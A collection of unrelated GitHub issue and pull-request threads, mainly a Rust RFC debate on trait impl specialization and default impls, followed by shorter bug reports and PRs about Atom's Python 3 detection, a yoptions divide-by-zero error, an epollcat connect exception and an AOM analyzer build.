@arielb1 Yeah, I know we disagree on this point, and that's OK. Nevertheless, with the current proposal, all of the features fit together more consistently (and more parsimoniously, as well) -- so I think I've at least addressed your earlier concerns about the desugaring.

I don't really see the cohesion between default impl and partial impl.

@arielb1 Hm, perhaps I wasn't clear -- I removed partial impl and replaced it with default impl, which, like default methods on traits, has the semantics that all items are considered default (specializable).

That was well-understood. It just seems to be terribly glued-on.

I would also like to note that impl specialization can totally be useful with the old Extend API - although it is a bit unergonomic on the Vec side - and that wasn't clear enough in the RFC:
// Current definition
pub trait Extend<A> {
    fn extend<I>(&mut self, iterable: I) where I: IntoIterator<Item=A>;
}

pub trait Extend2<A, T: IntoIterator<Item=A>> {
    fn extend2(&mut self, iterable: T);
}

impl<A,I> Extend2<A,I> for Vec<A> where I: IntoIterator<Item=A> {
    default fn extend2(&mut self, iterable: I) { /* ... */ }
}

impl<'a,A> Extend2<A,&'a [A]> for Vec<A> {
    fn extend2(&mut self, iterable: &'a [A]) { /* ... */ }
}

impl<A> Extend<A> for Vec<A> {
    fn extend<I>(&mut self, iterable: I) where I: IntoIterator<Item=A> {
        self.extend2(iterable)
    }
}

@arielb1

That was well-understood. It just seems to be terribly glued-on.

It seems like we just have fundamentally different perspectives on these two features and how they fit together. In particular:

I see partial impls as being very distinct from specializable impls, in both their type-system effect and use-cases.

 Its like intrinsics and intrinsic reexports translating to different things.

I'm not sure what you mean by "stupid/"early" or "late"/"run-time" -- to be honest, I have trouble making sense of the comment at all. Can you elaborate?
I will say that I very much see specialization as an inheritance-like feature, and default impl as part of that. In both cases, you're providing impls that make sense given a certain amount of type information, and then refine (i.e., override) those impls as more specific type information is available. All of this behavioral information is determined statically (not a "run-time" feature in my mind, but again, I'm not sure exactly what you mean by that).
The fact that multiple overlapping default impl blocks are allowed, and work the same way as any other specialization, further suggests this point of view. That is, there is a single continuous hierarchy, and the only difference between default impl and impl is that the latter has provided all the items needed by the trait.
To me, there is a very clear analogy between what I'm proposing and something like single inheritance (the specialization hierarchy + chain rule) with abstract base classes (default impls). I tried to make that somewhat explicit in the RFC, and argue in more detail in my blog post on the topic. But maybe there are ways I could make it more clear.
I feel like this is at least a coherent perspective which makes default impl an integral part of the specialization story, and gives a good "explanation" of our current default trait items in terms of a more general feature that we have wanted for some time.

I would also like to note that impl specialization can totally be useful with the old Extend API - although it is a bit unergonomic on the Vec side - and that wasn't clear enough in the RFC

Yes, this is what I plan to do, since we dropped inherent impl specialization. (The text currently mentions using inherent item specialization as the (cleaner) approach to this, and wasn't updated when I moved that feature to future extensions.)

I'm not sure what you mean by "stupid"/"early" or "late"/"run-time" -- to be honest, I have trouble making sense of the comment at all. Can you elaborate?

partial parent impls and default child impls do not affect type-checking.

I tried to make that somewhat explicit in the RFC, and argue in more detail in my blog post on the topic. But maybe there are ways I could make it more clear.

Your blog post talks about partial impl, not about trans specialization.

@arielb1
Whoa, sorry, I missed your edits that greatly expanded the last comment. (The version I saw only had one sentence :)
I don't have a lot of time to respond right now, but one point I wanted to make is that the use of default in both cases can be understood in terms of "copying" method definitions (when the methods are left off from more specialized impls).
In general, you're drawing a big distinction between a full impl and an incomplete one -- and I agree, there are important differences. But on the other hand:

the semantics of inheriting unoverridden items is the same;
the semantics of determining specificity/which default to use is the same;
the hierarchy determining the above is a continuous one going from default impls into impls;
both are implemented in the same code path

All I'm trying to argue is that the two features, at the very least, have a close relationship and form a continuous hierarchy, and I've tried to design them in a way that (I think) makes them fit smoothly together.
But anyway, as I said before, it may just be that we have fundamentally different perspectives on the most salient aspects of these two features, and that's fine. What's more important to me is whether you see concrete design problems with the current RFC.

Your blog post talks about partial impl, not about trans specialization.

It talks about both -- the latter comes up in the "Ending 2" section.

The lang team is moving this RFC into its weeklong final comment period. :8ball:
As per discussion in this thread, the plan would be to treat the interaction with lifetimes, as well as specialization for associated types, as experimental and warranting a high degree of scrutiny. The latter would go under its own feature gate.

:tada:

@aturon my question wasn’t ever answered AFAIR. Hope that qualifies for FCP :).

@nagisa
Can you clarify: do you mean instead of, or in addition to the default keyword?

@aturon I mean “instead of”.
In my eyes, the default keyword puts responsibility of making things overridable on the author of crate, while in practice the exhaustive set of people who really care about things being overridable only contains the person who does the overriding. Thus, I was wondering why a scheme opposite to what actually makes most sense is proposed by the RFC.

responsibility of making things overridable on the author of crate/trait ... people who really care about things being overridable contains only the person who does (or wants to do) the overriding

<fortune teller mode on />
I will end up somewhat like with #[derive(Copy)], crate authors will forget about it, crate users will complain and fill issues, crate authors will fix these issues on demand, eventually a lint will appear reporting warnings about non-default public items. Not that bad after all :)

@nagisa

In my eyes, the default keyword puts responsibility of making things overridable on the author of crate/trait, while in practice the exhaustive set of people who really care about things being overridable contains only the person who does (or wants to do) the overriding.

I see your perspective, but there are a few problems. I talk about this in depth in the RFC, but to recap:

For associated types, we must make this choice. Making an associated type overridable means that you can't make assumptions about which impl it will be taken from -- otherwise you run into soundness problems. For example, it would mean that vec::IntoIter<T>::Item cannot be assumed to equal T! Thus, making overridability opt-out rather than opt-in would be a significant breaking change.

It would likewise break any code that's currently relying on unoverridability of a methods in an impl.

The choice of whether an item is final or overridable must be made by the original impl, both so that associated types can continue to work as today, and so that you can "pin down" and rely on exactly what code will be run for a given method. So this is just a question of what the defaults should be. The ones proposed in the RFC are backwards-compatible and happen to match the equivalent defaults in C++ and C# (though, interestingly, not in Java).
Finally, as excited as I am about specialization, I don't expect (and don't want) it to be used ubiquitously, because it makes it more complicated to tell what code is going to be run when you invoke a method. I don't think we'll see default used everywhere as a matter of course, but rather more selectively for those impls where specialization actually makes sense. And as @petrochenkov says, in cases that are missed, crate authors can add it later (for fns at least; not for associated types).

@aturon Aha! I couldn’t really infer that all these problems are related to the idea from the RFC text (perhaps was not reading closely enough). Thanks for taking time to summarise.

@petrochenkov

eventually a lint will appear

Feel free to open a clippy issue to shorten the wait. :smile:

Nit: there still is the "you have to lift out trait parameters to enable specialization, as in the Extend example above. The RFC mentions a few ways of dealing with this limitation -- either by employing inherent item specialization, or by eventually generalizing HRTBs.". This is dealt with easily by by writing a bridge impl.

The ones proposed in the RFC are backwards-compatible

No they are not. Default trait methods used to be final and now they are specializable.

Sorry for the delayed response. Basically most of our use cases for the lattice rule come down to cases like:
impl<Left, Right, SqlType, T> SelectableExpression<SqlType, JoinSource<Left, Right>> for T where
    Left: Table + JoinTo<Right>,
    Right: Table,
    T: SelectableExpression<Left, SqlType>,
{}

impl<Left, Right, SqlType, T> SelectableExpression<SqlType, JoinSource<Left, Right>> for T where
    Left: Table + JoinTo<Right>,
    Right: Table,
    T: SelectableExpression<Right, SqlType>,
{}

which would currently fail because we can't prove that Left and Right are different types.
There are other use cases which are more involved, which I can dig up but would probably involve a lot of time looking for them at this point. I'm happy to do so, but it sounds like at this point it won't actually change things here, and it's probably more appropriate for a future RFC on the lattice rule.
FWIW, many of our use cases would be solved by some combination of https://github.com/rust-lang/rust/issues/29864 being implemented, some form of negative reasoning in where clauses, and/or some form of "sealed traits". Many of our issues come down to either:

Needing to change the impl for one specific type, which is covered by specialization without lattice
Needing to mark two traits as mutually exclusive, or be able to write where T: !Trait. Lattice isn't the most elegant way to handle this, but it definitely seems to be the most likely to make it into stable before we reach 1.0 (which I'm currently hoping to do in April/May)

I'm happy to go into more depth about any specific cases, but as mentioned it'll probably take a few hours for me to actually be more helpful here. I'm happy to do it, but I'd prefer it be in a context where it's likely to affect things. :)

@arielb1

Nit: there still is the "you have to lift out trait parameters to enable specialization, as in the Extend example above. The RFC mentions a few ways of dealing with this limitation -- either by employing inherent item specialization, or by eventually generalizing HRTBs.". This is dealt with easily by by writing a bridge impl.

I've pushed an update to clarify that you can hide this behind an additional trait. Of course, the broader point still stands: at some point you have to dispatch on a type parameter to a trait to make this work.

The ones proposed in the RFC are backwards-compatible

No they are not. Default trait methods used to be final and now they are specializable.

We're using "backwards-compatible" in somewhat different ways, I think. The comment you're quoting is trying to make the overall point that opt-in default is needed for assoc types, at least, because anything else would cause a great deal of code to stop compiling.
Treating default items as specializable won't immediately prevent code for compiling or change its behavior. Of course, it could be that the author of code using those defaults was relying on them not being further specialized. I'd be interested in seeing such examples -- for various reasons that I've tried to argue on the thread, I feel that treating default items as default is the right thing to do conceptually, and is usually what you want in cases where you can provide a default method.
(This is a point I'd love to hear thoughts on from others following the thread as well; I feel like so far it's mostly been a discussion between me and @arielb1!)

@sgrif
Thanks, that's perfect.
It's a shame that this first phase of specialization won't be able to address your use case, but I think at this point it's best for us to land the simpler rule and start getting some experience with the feature, while separately discussing extensions.
I was more upbeat about the lattice rule until I discovered the scenario I mentioned above:
trait Foo {}
impl<T, U> Foo for (T, U) where T: 'static {}
impl<T, U> Foo for (T, U) where U: 'static {}
impl<T, U> Foo for (T, U) where T: 'static, U: 'static {}

which has to be a hard error, due to our inability to safely generate code for it. It may turn out that a hard error here (as well as for lifetime-dependence in general) is just fine, but IMO we should gather some hands-on experience first.

which would currently fail because we can't prove that Left and Right are different types.

In this case, what would you like to be able to express if Left and Right are the same type? Would it be best if that were a type error or also valid? Do you have use cases for both? I'm mostly just curious.

@withoutboats In that particular case, Left and Right being the same time wouldn't make sense, so yeah I basically want to be able to write where Left != Right.

That would be where Left: !Right (or vice versa), following #1148, btw.

@llogiq Right isn't a trait.

@sgrif mutual exclusion and the lattice rule could enable this, though it would require a sort of parallel extension beyond lattice so that a negative impl covering the intersection would resolve the incoherence. An interesting interaction between the two extensions.

I don't think that's true. impl<T, U, V> Trait<U, V> for T where T: Trait2<U> + Trait2<V> is more specific than both impl<T, U, V> Trait<U, V> for T where T: Trait2<U> and impl<T, U, V> Trait<U, V> where T: Trait2<V>, and entirely covers the overlapping case.

On Mon, Feb 01, 2016 at 10:55:29AM -0800, Aaron Turon wrote:

Treating default items as specializable won't immediately prevent code for compiling or change its behavior. Of course, it could be that the author of code using those defaults was relying on them not being further specialized. I'd be interested in seeing such examples -- for various reasons that I've tried to argue on the thread, I feel that treating default items as default is the right thing to do conceptually, and is usually what you want in cases where you can provide a default method.
(This is a point I'd love to hear thoughts on from others following the thread as well; I feel like so far it's mostly been a discussion between me and @arielb1!)

You and I have talked about this privately, but I don't know if I've
written in on the thread about it. I am pretty happy with the change
to have default impl and remove the notion of a partial impl.
I think the distinction between the two was subtle and would prove
confusing to many users. I'm also not sure that it was of much use.
With the current formulation, whenever one writes default, you are
providing default choices that a downstream impl can refine for some
specific type. Whenever you don't say default, you are saying that a
downstream impl is locked into your current definition.
There is ultimately a tree of choices that can be made:

whether the type implements the trait at all (i.e.,
does T: Trait hold?)

and, if so, what are the definitions of each of its members

Under the current formulation, a default impl of Trait for T leaves
that entire tree up to the type T, ultimately. If T wants T: Trait to hold, it can implement the trait, and it can then override
any members that it chooses.
An impl of Trait for T, in contrast, makes the first decision on
behalf of T. T: Trait will hold. But it leaves some of the member
definitions up to the type T to refine (those that are marked as
default).
What we "lose" with this formulation (as compared to the original RFC)
is the ability to say "if you choose to implement Trait for T, you
MUST use this definition for its members". This is something which we
do not have today: trait members never prohibit you from redefining
a method, for example. But you can achieve the same effect today using
free fns or auxiliary traits.
For example, today, if you wanted to guarantee that the same code
would execute for some member fn foo, you wouldn't add it as a trait
method, you would either write a free fn:
fn foo<T:Trait>(t: &mut T) { ... }

or else you would use a secondary trait, if you wanted method notation:
trait HelperTrait: Trait {
    fn foo(&mut self) { ... }
}

impl<T:Trait> HelperTrait for T {
    fn foo(&mut self) { ... }
}

I feel like this is good enough, and we don't need to add the subtle
distinction between partial and default to cover this use case.

I don't think that's true.

You're right, and I misunderstood what the intersection was (I thought the intersection was Left == Right)

Appears you could build a macro for that helper trait trick if you need it lots.

@nikomatsakis
Again, my problem with default-by-default is not that one can't define non-overridable functions, but rather that random impl methods become specializable basically at random. This is at least an annoying backwards-compatibility concern.
The future-compatibility orphan rules prevent it from being a horrible problem, but I don't like relying on it (especially when libraries like to play around these rules' edges).

@arielb1

Again, my problem with default-by-default is not that one can't define non-overridable functions, but rather that random impl methods become specializable basically at random. This is at least an annoying backwards-compatibility concern.

Here's a subtlety: what exactly is the contract around default for associated types? Under what circumstances should code be able to "see" the defaults?
Concretely, should the following work?
trait HasType {
    type Type;
}
impl<T> HasType for T {
    default Type = Self;
}
// No additional impls

// This could live in a downstream crate, or the local crate:
fn main() {
    let b: <Bool as HasType>::Type = true;
}

Here, the projection <Bool as HasType>::Type involves completely concrete types; we therefore know precisely which impls apply, and can say for sure that the resulting type will be bool when we go to trans. So it's at least sound to allow this code to work.
But there is a sense in which default here is a kind of contract between the impl and downstream code, saying that further specialization my occur. That is, suppose that fn main is in a downstream crate, and we add the following impl to the original crate:
impl HasType for bool {
    type Type = u8;
}

We would then be breaking downstream code by introducing this impl.
In short, by making the default type visible, we allow client code to make stronger assumptions about what impls we will ever provide. If we keep it opaque, we force the client to take into account the fact that we could add an impl later. But that means that the client may not be able to effectively use the impl we're providing today.
Anyone have thoughts about this? I think I lean toward keeping the type opaque, since that favors API evolution, but there may be use cases that rely on making the type visible.

@dylanede, maybe you have some insight based on your experiences with the prototype implementation?

Anyone have thoughts about this? I think I lean toward keeping the type opaque, since that favors API evolution, but there may be use cases that rely on making the type visible.

Seems like this isn't terribly different than being able to rely on concrete associated types today. IIRC the rules are roughly that you can only rely on the concrete type when it doesn't cross crate boundaries. Regardless, it seems like the simplest (from the user point of view) thing to do here is -- if you are in a context where you know the type cannot be specialized further, you're allowed to rely on it. Otherwise, you know nothing about it beyond the constraints on the trait def.
Also I thought that the decision was to just not allow associated types to be specialized for now? Or am I mistaken?

@sgrif

Also I thought that the decision was to just not allow associated types to be specialized for now? Or am I mistaken?

Sorry, I know there's been a ton of activity so it's been a bit hard to follow. Ultimately, the main reservation about associated type specialization was not being clear on how useful it is in practice (and some of the attendant tradeoffs around its design). But since I've already implemented it, the lang team felt it made sense to go ahead and land (under a separate feature gate), so that the community can experiment and see whether it's worthwhile to have in the long run.

Sorry, I know there's been a ton of activity so it's been a bit hard to follow.

Hah, no kidding! Glad to see this did make the cut, though. It's a legitimately useful feature.


Miscellaneous python3-related updates and fixes

Requirements for Adding, Changing, or Removing a Feature (from Template)
Requirements for Adding, Changing, or Removing a Feature

Fill out the template below. Any pull request that does not include enough information to be reviewed in a timely manner may be closed at the maintainers' discretion.
The pull request must contribute a change that has been endorsed by the maintainer team. See details in the template below.
The pull request must update the test suite to exercise the updated functionality. For guidance, please see https://flight-manual.atom.io/hacking-atom/sections/writing-specs/.
After you create the pull request, all status checks must be pass before a maintainer reviews your contribution. For more details, please see https://github.com/atom/.github/tree/master/CONTRIBUTING.md#pull-requests.

Issue or RFC Endorsed by Atom's Maintainers
Upstream pull request: https://github.com/atom/atom/pull/20856
Last bits of https://github.com/atom/atom/issues/20585 (see this comment for details.)

Description of the Change

[Code change] Updated the verifyPython() function in script/lib/verify-machine-requirements.js

Can find Python 3 now
Works (and is now set to run) on all platforms, not just Windows
Closely matches node-gyp's find-python.js library's behavior, so that we get an accurate indication that native packages can actually be built (this is the only reason Python is used or needed).

:fire: Deleted .python-version

We don't need this at all now that Python 3 is supported. It was a way for some users to be pointed at a specific version of Python 2, but it already caused some issues (see https://github.com/atom/atom/issues/7450).

:fire: Deleted lintian overrides metadata, since this wasn't being used and is cruft.

Discussed here: https://github.com/atom/atom/pull/20670#issuecomment-626021334

:memo: Updated README.md to mention installing python3, not python

Explains you can still use python or python2 if python3 doesn't work.

[CI] Update the windows CI test environment to use Python 3 instead of Python 2.

Alternate Designs

For verifyPython(), it could be good to think of a way to actually run node-gyp rebuild or otherwise have node-gyp find Python for us. I haven't thought of a way to do this that actually works.
(I tried using node-gyp's find-python.js directly, but it made the bootstrap script execute out of order: The verify Python check only ran AFTER the boostrap script finished, so I gave up. This is something to do with the nature of async JavaScript code.)
The re-write I did for verifyPython() is synchronous enough to work as intended. It could be re-written to be more async by a more-skilled JavaScript programmer, but this is a bootstrap script, not production code, so not blocking the main thread during execution is pretty much a non-issue, and it still finishes in about a second even on an old Windows laptop.
Possible Drawbacks
I have thoroughly tested these changes, so I hope there are no issues I've overlooked.

Verification Process
Tested and tested and re-tested verifyPython() on Linux and Windows. macOS is expected to behave the same as Linux with respect to locating Python. (Indeed, Linux and macOS are handled the same in node-gyp, which is what this implementation is based on.)
Checked the behavior with/without pyenv and with/without the .python-version file. All seems to work as intended, and it's much more flexible without a .python-version file checked in.
The rest is deleting cruft (lintian metadata) or updating documentation (README.md). I proofread my changes to README.md :smile:.

Release Notes
N/A (not user-facing. These are developer-oriented changes.)

View rendered README.md

This is merged upstream!! :tada: :tada:
Very happy about that.


Add post: Emailing accredited bodies when they have been added to a lead school or their permissions have changed

This is ready for review.

 Permissions email notifications - design history


Aligned elements of the footer properly

Description
The footer section now have all items properly centered in menu page, enhancing the overall look and user experience of the website.
@khushi-joshi-05 @sunny0625 Please review and merge this PR.
Related Issues
[Cite any related issue(s) this pull request addresses. If none, simply state “None”]

Closes #1402

Type of PR

[x] Bug fix
[x] Feature enhancement

Screenshots / videos (if applicable)
[Attach any relevant screenshots or videos demonstrating the changes]

Checklist

[x] I have gone through the contributing guide
[x] I have updated my branch and synced it with project main branch before making this PR
[x] I have performed a self-review of my code
[x] I have tested the changes thoroughly before submitting this pull request.
[x] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[x] I have commented my code, particularly in hard-to-understand areas.

@khushi-joshi-05 Please add the level label.


Python: code coverage GH action shouldn't fail if required status checks aren't run

Describe the bug
Right now, if a community member creates a PR, the Python test coverage GH action fails because the other required GH actions steps aren't run yet. The test coverage step shouldn't fail, but should wait to run as well.
Expected behavior
The user shouldn't see a failure on the GH actions if their required checks haven't run yet.

Describe the bug
Right now, if a community member creates a PR, the Python test coverage GH action fails because the other required GH actions steps aren't run yet. The test coverage step shouldn't fail, but should wait to run as well.
Expected behavior
The user shouldn't see a failure on the GH actions if their required checks haven't run yet.

How?

Describe the bug
Right now, if a community member creates a PR, the Python test coverage GH action fails because the other required GH actions steps aren't run yet. The test coverage step shouldn't fail, but should wait to run as well.
Expected behavior
The user shouldn't see a failure on the GH actions if their required checks haven't run yet.

How?

Here's an example of a PR where this is happening: #5686.


First example in documentation results in divide by 0.

If run today:
# Chain of all FORD MOTOR COMPANY call options for next expiration date chain = yo.get_chain_greeks(stock_ticker='F', dividend_yield=0, option_type='c', risk_free_rate=None) print(chain.head().to_string())
results in:
Traceback (most recent call last):   File "[redacted path]/option_chain.py", line 3, in <module>     chain = yo.get_chain_greeks(stock_ticker='F', dividend_yield=0.01, option_type='c', risk_free_rate=None)   File "[redacted path]/.local/lib/python3.10/site-packages/yoptions/main.py", line 19, in get_chain_greeks     return __get_chain(option_type, data, dividend_yield, risk_free_rate)   File "[redacted path]/.local/lib/python3.10/site-packages/yoptions/main.py", line 245, in __get_chain     return __greeks(data, chain, option_type, r, dividend_yield)   File "[redacted path]/.local/lib/python3.10/site-packages/yoptions/main.py", line 344, in __greeks     d1 = (log(float(underlying_price) / strike[-1]) + ((r - dividend_yield) + v * v / 2.) * t) / ( ZeroDivisionError: float division by zero
Changing to a value different than 0 like 0.1 presents the same error. None will output the frame but obviously not calculate the greeks. Not sure if PEBKAC, env or bunk data.

This problem should be solved in the latest version

This has not been solved in the latest version. When I use 1 or 0, I get the greeks - when I use None, I don't get the greeks. How can I get the greeks without passing in dividend?
Traceback (most recent call last):
  File "/Development/Etrade/etrade-monitor/etrade_python_client/etrade_apps/yop.py", line 147, in <module>
    chain = get_friday_options_chain_for_ticker_date(ticker, call_or_put, days )
  File "/Development/Etrade/etrade-monitor/etrade_python_client/etrade_apps/yop.py", line 26, in get_friday_options_chain_for_ticker_date
    chain = yo.get_chain_greeks_date(stock_ticker=ticker, dividend_yield=1, option_type=call_or_put, expiration_date=friday_after_days_out(days, True), risk_free_rate=None)
  File "/Library/Python/3.9/lib/python/site-packages/yoptions/main.py", line 31, in get_chain_greeks_date
    return __get_chain(option_type, data, dividend_yield, risk_free_rate)
  File "/Library/Python/3.9/lib/python/site-packages/yoptions/main.py", line 249, in __get_chain
    return __greeks(data, chain, option_type, r, dividend_yield)
  File "/Library/Python/3.9/lib/python/site-packages/yoptions/main.py", line 363, in __greeks
    d1 = (log(float(underlying_price) / strike[-1]) + r * t) / (v * t_sqrt) + 0.5 * v * t_sqrt
ZeroDivisionError: float division by zero

Not sure if this is related but getting this as of today with the latest version of package
yo.get_chain_greeks(stock_ticker='F', dividend_yield=0, option_type='c', risk_free_rate=None)
Traceback (most recent call last):
File "/Applications/PyCharm CE.app/Contents/plugins/python-ce/helpers/pydev/pydevconsole.py", line 364, in runcode
coro = func()
^^^^^^
File "", line 1, in
File "/PycharmProjects/z-tastyapi/venv/lib/python3.11/site-packages/yoptions/main.py", line 19, in get_chain_greeks
return __get_chain(option_type, data, dividend_yield, risk_free_rate)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/PycharmProjects/z-tastyapi/venv/lib/python3.11/site-packages/yoptions/main.py", line 245, in __get_chain
return __greeks(data, chain, option_type, r, dividend_yield)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/PycharmProjects/z-tastyapi/venv/lib/python3.11/site-packages/yoptions/main.py", line 340, in __greeks
t_sqrt = sqrt(t)
^^^^^^^
ValueError: math domain error

Just fixed on my PR, (https://github.com/Lienus10/yoptions/pull/9)
Have a Good one!


TURN OFF LANGUAGE DETECTION!

I'm really tired

or make it save the language choice

Issue moved to mdn/yari #1831 via ZenHub


ping-pong test, connect(), and lack of error messages

Discovered in the TcpSuite server-client ping-pong test, but probably generally applicable.
connect(foo) needs to give some indication of error, perhaps Throwing
when the connection fails.
Later:
I see that  /EpollAsyncSocketChannel.scala has two places
where it throws ConnectException("Connection refused").
If I can create time, I will have to check why those did not
trigger.
The problem may be that it does so currently and that something in the
peer-to-peer test is not letting that message propagate to the user.

Later:  Debugging writes reveal that a proper & expected ConnectException is being thrown
about line 236 in EpollAsyncSocketChannel.scala and never showing up to interrupt the
test or even being reported.
More later, shift over.

Is this issue resolved as of https://github.com/armanbilge/epollcat/pull/31?

Yes it is.  Thank you for that fix and this bookkeeping
For the future:
Resolution is that the ConectException was being thrown but it took 2 minutes or so
for the TCP SYN connection handshake to timeout and then throw. That Exception
was then being ignored by the test, making it look like the ConnectException never
happened.


Failed to load java script decoder from AOM analyzer

following the build instruction from build step
in step 4, AOM analyzer failed to load the javascript decoder inspect.js.
AOM decoder commit ID(master branch): a07a3b2854e7b743adba13bca8adc9a993403075
Analyzer download from Mac 1.1

Does the problem persist if you use this decoder an this video file.
Were you able to compile the inspect.js successfully? Can you paste your console output?

@mbebenita

I install the emsdk for emsdk for Mac and update/install/activate/setup env path info based on instruction

and building aomdec with emsdk followed build step

the comand I build with cmake is
cmake .. -DENABLE_CCACHE=1 \

    -DAOM_TARGET_CPU=generic \
    -DENABLE_DOCS=0 \
    -DCONFIG_ACCOUNTING=1 \
    -DCONFIG_INSPECTION=1 \
    -DCONFIG_MULTITHREAD=0 \
    -DCONFIG_RUNTIME_CPU_DETECT=0 \
    -DCONFIG_UNIT_TESTS=0 \
    -DCONFIG_WEBM_IO=0 \
    -DCMAKE_TOOLCHAIN_FILE=../../EmSDK/emsdk-portable-latest/emscripten/1.37.33/cmake/Modules/Platform/Emscripten.cmake

and the output is

-- Found Git: /usr/bin/git (found version "2.14.3 (Apple Git-98)")
-- Found Perl: /usr/bin/perl (found version "5.18.2")
-- Looking for pthread_create
-- Looking for pthread_create - found
-- Found Threads: TRUE
-- Could NOT find wxWidgets (missing: wxWidgets_LIBRARIES wxWidgets_INCLUDE_DIRS)
--- aom_configure: Detected CPU: generic
Running C compiler test: inline_check_1
-- Performing Test C_TEST_COMPILED
-- Performing Test C_TEST_COMPILED - Success
Running CXX compiler test: inline_check_1
-- Performing Test CXX_TEST_COMPILED
-- Performing Test CXX_TEST_COMPILED - Success
Running C compiler test: pthread_check
-- Performing Test C_TEST_COMPILED
-- Performing Test C_TEST_COMPILED - Success
Running CXX compiler test: pthread_check
-- Performing Test CXX_TEST_COMPILED
-- Performing Test CXX_TEST_COMPILED - Success
Running C compiler test: unistd_check
-- Performing Test C_TEST_COMPILED
-- Performing Test C_TEST_COMPILED - Success
Running CXX compiler test: unistd_check
-- Performing Test CXX_TEST_COMPILED
-- Performing Test CXX_TEST_COMPILED - Success
Running C compiler test: fenv_check
-- Performing Test C_TEST_COMPILED
-- Performing Test C_TEST_COMPILED - Failed
C Compiler test fenv_check failed.
CMake Warning at build/cmake/util.cmake:78 (message):
--- Cannot find ccache, ENABLE_CCACHE ignored.
Call Stack (most recent call first):
build/cmake/aom_configure.cmake:200 (set_compiler_launcher)
CMakeLists.txt:67 (include)
Checking C compiler flag support for: -std=c99
-- Performing Test HAVE_C_FLAG
-- Performing Test HAVE_C_FLAG - Success
Checking C compiler flag support for: -Wall
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wall
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wdisabled-optimization
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wdisabled-optimization
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wextra
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wextra
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wfloat-conversion
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wfloat-conversion
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wimplicit-function-declaration
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wimplicit-function-declaration
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wlogical-op
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Failed
Checking C++ compiler flag support for: -Wlogical-op
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Failed
Checking C compiler flag support for: -Wpointer-arith
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wpointer-arith
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wsign-compare
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wsign-compare
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wstack-usage=320000
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Failed
Checking C++ compiler flag support for: -Wstack-usage=320000
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Failed
Checking C compiler flag support for: -Wstring-conversion
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wstring-conversion
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wtype-limits
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wtype-limits
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wuninitialized
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wuninitialized
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wunused
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wunused
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wvla
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wvla
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wshorten-64-to-32
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wshadow
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wundef
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -Wno-unused-function
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
Checking C++ compiler flag support for: -Wno-unused-function
-- Performing Test CXX_FLAG_SUPPORTED
-- Performing Test CXX_FLAG_SUPPORTED - Success
Checking C compiler flag support for: -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0
-- Performing Test C_FLAG_SUPPORTED
-- Performing Test C_FLAG_SUPPORTED - Success
